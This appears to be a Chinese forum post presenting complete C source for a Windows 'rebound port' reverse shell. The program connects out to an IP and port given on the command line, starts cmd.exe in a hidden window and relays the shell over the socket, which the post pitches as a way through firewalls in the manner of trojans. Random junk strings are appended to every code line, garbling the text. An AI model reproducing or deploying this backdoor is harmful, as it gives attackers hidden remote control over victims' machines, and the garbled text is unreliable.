这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 l1bkhA b
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/* ============================== N5[^W`Qf
Rebound port in Windows NT HQvJ*U4++
By wind,2006/7 LZ34x: ,C
===============================*/ ;NOmI+t0w&
#include ;,8 )%[
#include 3
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#pragma comment(lib,"wsock32.lib") qk~m\U8r
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void OutputShell(); m"@o
SOCKET sClient; HYg! <y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h1t~hrq
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void main(int argc,char **argv) 2HUw^ *3
{ }?\^^v h7
WSADATA stWsaData; 8.,d`~
int nRet; 7nm'v'\u+V
SOCKADDR_IN stSaiClient,stSaiServer; ,,SV@y;
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if(argc != 3) H;R~d%!b
{ mC0_rN^Aj
printf("Useage:\n\rRebound DestIP DestPort\n"); - "NK"nb
return; #c!rx%8I
} Oa2\\I
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WSAStartup(MAKEWORD(2,2),&stWsaData); zuu<;^/R
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); br^
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stSaiClient.sin_family = AF_INET; ,Nt^$2DZW
stSaiClient.sin_port = htons(0); ]1FLG*sB
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TjDtNE
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) IyI0|&r2A
{ M^*\$K%
printf("Bind Socket Failed!\n"); e|?eY)_
return; 2eHVl.C5
} "fr{:'HX
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stSaiServer.sin_family = AF_INET; ? cXW\A(
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pdB\D
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); I_5/e>9
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) W]oa7VAq
{ 76bMy4re
printf("Connect Error!"); {,i-V57-h
return; l$1NI#&
} ZNne 8
OutputShell(); /vq$/
} )Gavjj&uJ
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void OutputShell()
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{ YA@MLZm
char szBuff[1024]; d<+hQ\BF,
SECURITY_ATTRIBUTES stSecurityAttributes; w
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OSVERSIONINFO stOsversionInfo; 8\"Gs z
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; obE8iG@H
STARTUPINFO stStartupInfo; }zks@7kf
char *szShell; @R}3f6@67
PROCESS_INFORMATION stProcessInformation; |_+#&x
unsigned long lBytesRead; <#J5.I 1
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $[}EV(#y
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); k_{?{:X;y
stSecurityAttributes.lpSecurityDescriptor = 0; Fsm6gE`|n
stSecurityAttributes.bInheritHandle = TRUE; pU9.#O
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^GAJ9AF@(
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =Q{?!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Rw%%
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (:qc[,m
stStartupInfo.wShowWindow = SW_HIDE; =w}JAEE|(i
stStartupInfo.hStdInput = hReadPipe; g0bYO!gCr
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; gs;^SRE I
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GetVersionEx(&stOsversionInfo); g9q}D-
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switch(stOsversionInfo.dwPlatformId) &oMWs]0
{ X3a 9-
case 1: t))MZw&@
szShell = "command.com"; ]VxC]a2
break; BO#tn{(#
default: OtoM
szShell = "cmd.exe"; hiBsksZRnk
break; GyWa=KW.u
} 71\53Qr#U
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'Gqv`rq&
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send(sClient,szMsg,77,0); ?*yyne
while(1) n
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{ #kASy 2t
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); V0v,s^\H
if(lBytesRead) 7jIBE
{ MNWI%*0LO
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Fu_I0z
send(sClient,szBuff,lBytesRead,0); VK]U* V1
} oR&z,%0wMK
else jtlRom}
{ *9"x0bth
lBytesRead=recv(sClient,szBuff,1024,0); nV7Vc;
if(lBytesRead<=0) break; o^vX\a?`u
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); l@Vv%w9H
} .dk<?BI#H
} 7Vsp<s9bj
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return; R`cP%7K
}